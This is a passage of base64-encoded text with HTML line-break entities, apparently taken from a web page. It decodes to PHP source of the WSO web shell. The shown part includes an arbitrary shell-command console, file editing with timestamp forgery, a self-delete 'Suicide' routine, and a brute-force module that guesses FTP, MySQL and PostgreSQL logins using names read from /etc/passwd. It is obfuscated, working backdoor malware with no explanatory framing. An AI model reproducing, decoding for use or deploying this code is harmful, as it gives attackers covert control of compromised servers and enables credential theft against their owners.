/&gt;KSB7CgkJCQkkdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKTsKCQkJCSRf&lt;br /&gt;UE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7CgkJCQkkZnAgPSBA&lt;br /&gt;Zm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7CgkJCQlpZigkZnApIHsKCQkJCQlAZndy&lt;br /&gt;aXRlKCRmcCwkX1BPU1RbJ3AzJ10pOwoJCQkJCUBmY2xvc2UoJGZwKTsKCQkJCQll&lt;br /&gt;Y2hvICdTYXZlZCE8YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsKCQkJCQlA&lt;br /&gt;dG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKTsKCQkJCX0KCQkJfQoJCQll&lt;br /&gt;Y2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2Rl&lt;br /&gt;KCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCxcJzFcJyt0aGlzLnRleHQudmFsdWUp&lt;br /&gt;O3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJl&lt;br /&gt;YT4nOwoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwoJCQlpZigk&lt;br /&gt;ZnApIHsKCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApCgkJCQkJZWNobyBodG1sc3Bl&lt;br /&gt;Y2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKCQkJCUBmY2xvc2UoJGZwKTsK&lt;br /&gt;CQkJfQoJCQllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1&lt;br /&gt;ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICdoZXhkdW1wJzoKCQkJ&lt;br /&gt;JGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsKCQkJJG4gPSAw&lt;br /&gt;OwoJCQkkaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsKCQkJJGxlbiA9&lt;br /&gt;IHN0cmxlbigkYyk7CgkJCWZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgewoJCQkJ&lt;br /&gt;JGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsKCQkJCXN3&lt;br /&gt;aXRjaCAoIG9yZCgkY1skaV0pICkgewoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcg&lt;br /&gt;JzsgYnJlYWs7CgkJCQkJY2FzZSA5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJ&lt;br /&gt;CQljYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgMTM6ICRo&lt;br /&gt;WzJdIC49ICcgJzsgYnJlYWs7CgkJCQkJZGVmYXVsdDogJGhbMl0gLj0gJGNbJGld&lt;br /&gt;OyBicmVhazsKCQkJCX0KCQkJCSRuKys7CgkJCQlpZiAoJG4gPT0gMzIpIHsKCQkJ&lt;br /&gt;CQkkbiA9IDA7CgkJCQkJaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50&lt;br /&gt;ZignJTA4WCcsJGkrMSkuJzxicj4nO30KCQkJCQkkaFsxXSAuPSAnPGJyPic7CgkJ&lt;br /&gt;CQkJJGhbMl0gLj0gIlxuIjsKCQkJCX0KCQkgCX0KCQkJZWNobyAnPHRhYmxlIGNl&lt;br /&gt;bGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0&lt;br /&gt;ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3Jt&lt;br /&gt;YWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9y&lt;br /&gt;PSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMz&lt;br /&gt;MzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3Rk&lt;br /&gt;PjwvdHI+PC90YWJsZT4nOwoJCQlicmVhazsKCQljYXNlICdyZW5hbWUnOgoJCQlp&lt;br /&gt;ZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJCQlpZighQHJlbmFtZSgkX1BP&lt;br /&gt;U1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpCgkJCQkJZWNobyAnQ2FuXCd0IHJlbmFt&lt;br /&gt;ZSE8YnI+JzsKCQkJCWVsc2UKCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGws&lt;br /&gt;IicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4n&lt;br /&gt;KTsKCQkJfQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcn&lt;br /&gt;IC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLm5hbWUu&lt;br /&gt;dmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1l&lt;br /&gt;IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5w&lt;br /&gt;dXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJ&lt;br /&gt;Y2FzZSAndG91Y2gnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJ&lt;br /&gt;CQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwoJCQkJaWYoJHRpbWUp&lt;br /&gt;IHsKCQkJCQlpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkKCQkJ&lt;br /&gt;CQkJZWNobyAnRmFpbCEnOwoJCQkJCWVsc2UKCQkJCQkJZWNobyAnVG91Y2hlZCEn&lt;br /&gt;OwoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOwoJCQl9CgkJCWNs&lt;br /&gt;ZWFyc3RhdGNhY2hlKCk7CgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0&lt;br /&gt;Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9Q&lt;br /&gt;T1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBm&lt;br /&gt;YWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRl&lt;br /&gt;KCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlu&lt;br /&gt;cHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CgkJCWJyZWFrOwoJ&lt;br /&gt;fQoJZWNobyAnPC9kaXY+JzsKCXdzb0Zvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rp&lt;br /&gt;b25Db25zb2xlKCkgewogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVt&lt;br /&gt;cHR5KCRfUE9TVFsncDInXSkpIHsKICAgICAgICBXU09zZXRjb29raWUobWQ1KCRf&lt;br /&gt;U0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCB0cnVlKTsKICAg&lt;br /&gt;ICAgICAkX1BPU1RbJ3AxJ10gLj0gJyAyPiYxJzsKICAgIH0gZWxzZWlmKCFlbXB0&lt;br /&gt;eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJW&lt;br /&gt;RVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCcsIDApOwoKCWlmKGlzc2V0&lt;br /&gt;KCRfUE9TVFsnYWpheCddKSkgewoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJb&lt;br /&gt;J0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOwoJCW9iX3N0YXJ0KCk7CgkJZWNo&lt;br /&gt;byAiZC5jZi5jbWQudmFsdWU9Jyc7XG4iOwoJCSR0ZW1wID0gQGljb252KCRfUE9T&lt;br /&gt;VFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NU&lt;br /&gt;WydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7&lt;br /&gt;CgkJaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEn&lt;br /&gt;XSwkbWF0Y2gpKQl7CgkJCWlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7CgkJCQkkR0xP&lt;br /&gt;QkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7CgkJCQllY2hvICJjXz0nIi4kR0xPQkFM&lt;br /&gt;U1snY3dkJ10uIic7IjsKCQkJfQoJCX0KCQllY2hvICJkLmNmLm91dHB1dC52YWx1&lt;br /&gt;ZSs9JyIuJHRlbXAuIic7IjsKCQllY2hvICJkLmNmLm91dHB1dC5zY3JvbGxUb3Ag&lt;br /&gt;PSBkLmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsKCQkkdGVtcCA9IG9iX2dldF9j&lt;br /&gt;bGVhbigpOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhp&lt;br /&gt;dDsKCX0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9T&lt;br /&gt;VFsncDEnXSkpCgkJV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NU&lt;br /&gt;J10pLidhamF4JywgMCk7Cgl3c29IZWFkZXIoKTsKICAgIGVjaG8gIjxzY3JpcHQ+&lt;br /&gt;CmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZ&lt;br /&gt;RE9XTik7CnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsKdmFyIGN1ciA9IDA7CmZ1&lt;br /&gt;bmN0aW9uIGtwKGUpIHsKCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNo&lt;br /&gt;IDogZS5rZXlDb2RlOwoJaWYobiA9PSAzOCkgewoJCWN1ci0tOwoJCWlmKGN1cj49&lt;br /&gt;MCkKCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwoJCWVsc2UK&lt;br /&gt;CQkJY3VyKys7Cgl9IGVsc2UgaWYobiA9PSA0MCkgewoJCWN1cisrOwoJCWlmKGN1&lt;br /&gt;ciA8IGNtZHMubGVuZ3RoKQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRz&lt;br /&gt;W2N1cl07CgkJZWxzZQoJCQljdXItLTsKCX0KfQpmdW5jdGlvbiBhZGQoY21kKSB7&lt;br /&gt;CgljbWRzLnBvcCgpOwoJY21kcy5wdXNoKGNtZCk7CgljbWRzLnB1c2goJycpOwoJ&lt;br /&gt;Y3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4iOwoJZWNobyAnPGgxPkNv&lt;br /&gt;bnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3Vi&lt;br /&gt;bWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52&lt;br /&gt;YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQo&lt;br /&gt;dGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVs&lt;br /&gt;bCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wn&lt;br /&gt;KTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJy&lt;br /&gt;b3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFt&lt;br /&gt;ZT1hbGlhcz4nOwoJZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+&lt;br /&gt;ICR2KSB7CgkJaWYoJHYgPT0gJycpIHsKCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVs&lt;br /&gt;PSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOwoJCQlj&lt;br /&gt;b250aW51ZTsKCQl9CgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lh&lt;br /&gt;bGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOwoJfQoJCgllY2hvICc8L3Nl&lt;br /&gt;bGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMu&lt;br /&gt;dmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFs&lt;br /&gt;aWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNl&lt;br /&gt;e2cobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5j&lt;br /&gt;aGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9Ij4+Ij4gPG5vYnI+PGlucHV0IHR5cGU9&lt;br /&gt;Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfQ09PS0lFW21kNSgkX1NF&lt;br /&gt;UlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5k&lt;br /&gt;IHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9y&lt;br /&gt;cyB2YWx1ZT0xICcuKCFlbXB0eSgkX1BPU1RbJ3AyJ10pfHwkX0NPT0tJRVttZDUo&lt;br /&gt;JF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddPydjaGVja2Vk&lt;br /&gt;JzonJykuJz4gcmVkaXJlY3Qgc3RkZXJyIHRvIHN0ZG91dCAoMj4mMSk8L25vYnI+&lt;br /&gt;PGJyLz48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPW91dHB1dCBzdHlsZT0i&lt;br /&gt;Ym9yZGVyLWJvdHRvbTowO21hcmdpbjowOyIgcmVhZG9ubHk+JzsKCWlmKCFlbXB0&lt;br /&gt;eSgkX1BPU1RbJ3AxJ10pKSB7CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIu&lt;br /&gt;JF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSk7Cgl9CgllY2hv&lt;br /&gt;ICc8L3RleHRhcmVhPjx0YWJsZSBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjZGY1&lt;br /&gt;O2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXItdG9wOjBweDsiIGNlbGxwYWRk&lt;br /&gt;aW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0i&lt;br /&gt;MSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJi&lt;br /&gt;b3JkZXI6MHB4O3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPjwv&lt;br /&gt;dGQ+PC90cj48L3RhYmxlPic7CgllY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5k&lt;br /&gt;LmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVu&lt;br /&gt;Y3Rpb24gYWN0aW9uTG9nb3V0KCkgewogICAgc2V0Y29va2llKG1kNSgkX1NFUlZF&lt;br /&gt;UlsnSFRUUF9IT1NUJ10pLCAnJywgdGltZSgpIC0gMzYwMCk7CglkaWUoJ2J5ZSEn&lt;br /&gt;KTsKfQoKZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsKCglpZigkX1BPU1Rb&lt;br /&gt;J3AxJ10gPT0gJ3llcycpCgkJaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxk&lt;br /&gt;K1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkKCQkJZGllKCdTaGVsbCBoYXMgYmVl&lt;br /&gt;biByZW1vdmVkJyk7CgkJZWxzZQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsKICAg&lt;br /&gt;IGlmKCRfUE9TVFsncDEnXSAhPSAneWVzJykKICAgICAgICB3c29IZWFkZXIoKTsK&lt;br /&gt;CWVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5&lt;br /&gt;IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9&lt;br /&gt;ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsKCXdzb0Zvb3Rl&lt;br /&gt;cigpOwp9CgpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgewoJd3NvSGVhZGVy&lt;br /&gt;KCk7CglpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsKCQllY2hvICc8aDE+&lt;br /&gt;UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFu&lt;br /&gt;PiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNl&lt;br /&gt;cnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlcidd&lt;br /&gt;KS4nPGJyPic7CgkJaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZnRwJyApIHsKCQkJ&lt;br /&gt;ZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7&lt;br /&gt;CgkJCQkkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7CgkJ&lt;br /&gt;CQlpZighJGZwKSByZXR1cm4gZmFsc2U7CgkJCQkkcmVzID0gQGZ0cF9sb2dpbigk&lt;br /&gt;ZnAsICRsb2dpbiwgJHBhc3MpOwoJCQkJQGZ0cF9jbG9zZSgkZnApOwoJCQkJcmV0&lt;br /&gt;dXJuICRyZXM7CgkJCX0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdt&lt;br /&gt;eXNxbCcgKSB7CgkJCWZ1bmN0aW9uIHdzb0JydXRlRm9yY2UoJGlwLCRwb3J0LCRs&lt;br /&gt;b2dpbiwkcGFzcykgewoJCQkJJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicu&lt;br /&gt;JHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAbXlzcWxfY2xv&lt;br /&gt;c2UoJHJlcyk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BP&lt;br /&gt;U1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsKCQkJZnVuY3Rpb24gd3NvQnJ1dGVG&lt;br /&gt;b3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CgkJCQkkc3RyID0gImhvc3Q9&lt;br /&gt;JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFz&lt;br /&gt;c3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsKCQkJCSRyZXMgPSBA&lt;br /&gt;cGdfY29ubmVjdCgkc3RyKTsKCQkJCUBwZ19jbG9zZSgkcmVzKTsKCQkJCXJldHVy&lt;br /&gt;biAkcmVzOwoJCQl9CgkJfQoJCSRzdWNjZXNzID0gMDsKCQkkYXR0ZW1wdHMgPSAw&lt;br /&gt;OwoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7CgkJ&lt;br /&gt;aWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewoJCQkkdGVtcCA9IEBmaWxlKCcvZXRj&lt;br /&gt;L3Bhc3N3ZCcpOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2go&lt;br /&gt;JHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGlu&lt;br /&gt;ZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoQCRz&lt;br /&gt;ZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CgkJ&lt;br /&gt;CQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFy&lt;br /&gt;cygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4n&lt;br /&gt;PGJyPic7CgkJCQkJfQoJCQkJCWlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewoJCQkJ&lt;br /&gt;CQkkdG1wID0gIiI7CgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRp&lt;br /&gt;Pj0wOyAtLSRpKQoJCQkJCQkJJHRtcCAuPSAkbGluZVswXVskaV07CgkJCQkJCSsr&lt;br /&gt;JGF0dGVtcHRzOwoJCQkJCQlpZiggd3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSxA&lt;br /&gt;JHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgewoJCQkJCQkJJHN1Y2Nlc3Mr&lt;br /&gt;KzsKCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSku&lt;br /&gt;JzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwoJCQkJCQl9CgkJCQkJfQoJ&lt;br /&gt;CQkJfQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKCQkJJHRlbXAg&lt;br /&gt;PSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CgkJCWlmKCBpc19hcnJheSgkdGVtcCkg&lt;br /&gt;KQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewoJCQkJCSRsaW5lID0gdHJp&lt;br /&gt;bSgkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIHdzb0JydXRlRm9y&lt;br /&gt;Y2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGlu&lt;br /&gt;ZSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNw&lt;br /&gt;ZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxj&lt;br /&gt;aGFycygkbGluZSkuJzxicj4nOwoJCQkJCX0KCQkJCX0KCQl9CgkJZWNobyAiPHNw&lt;br /&gt;YW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3Nw&lt;br /&gt;YW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7Cgl9CgllY2hvICc8aDE+QnJ1dGVmb3Jj&lt;br /&gt;ZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9z&lt;br /&gt;dD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PHNlbGVj&lt;br /&gt;dCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRp&lt;br /&gt;b24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3Fs&lt;br /&gt;PlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4n&lt;br /&gt;CgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVj&lt;br /&gt;aWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1o&lt;br /&gt;aWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydh&lt;br /&gt;J10pLiciPicKCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFs&lt;br /&gt;dWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI+JwoJ&lt;br /&gt;CS4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0&lt;br /&gt;IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwv&lt;br /&gt;dHI+JwoJCS4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+JwoJ&lt;br /&gt;CS4nPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9&lt;br /&gt;IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+JwoJCS4n&lt;br /&gt;PHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4&lt;br /&gt;Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVj&lt;br /&gt;a2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4n&lt;br /&gt;CgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBu&lt;br /&gt;YW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdHI+&lt;br /&gt;JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVm&lt;br /&gt;dDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ+JwoJCS4nPHRk&lt;br /&gt;PjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48&lt;br /&gt;L3RyPicKCQkuJzx0cj48dGQ+PHNwYW4+RGljdGlvbmFyeTwvc3Bhbj48L3RkPicK&lt;br /&gt;CQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1s&lt;br /&gt;c3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+&lt;br /&gt;PC90cj48L3RhYmxlPicKCQkuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxp&lt;br /&gt;bnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+PC90cj48L2Zvcm0+PC90&lt;br /&gt;YWJsZT4nOwoJZWNobyAnPC9kaXY+PGJyPic7Cgl3c29Gb290ZXIoKTsKfQoKZnVu&lt;br /&gt;Y3Rpb24gYWN0aW9uU3FsKCkgewoJY2xhc3MgRGJDbGFzcyB7CgkJdmFyICR0eXBl&lt;br /&gt;OwoJCXZhciAkbGluazsKCQl2YXIgJHJlczsKCQlmdW5jdGlvbiBEYkNsYXNzKCR0&lt;br /&gt;eXBlKQl7CgkJCSR0aGlzLT50eXBlID0gJHR5cGU7CgkJfQoJCWZ1bmN0aW9uIGNv&lt;br /&gt;bm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7CgkJCXN3aXRjaCgk&lt;br /&gt;dGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCWlmKCAkdGhpcy0+&lt;br 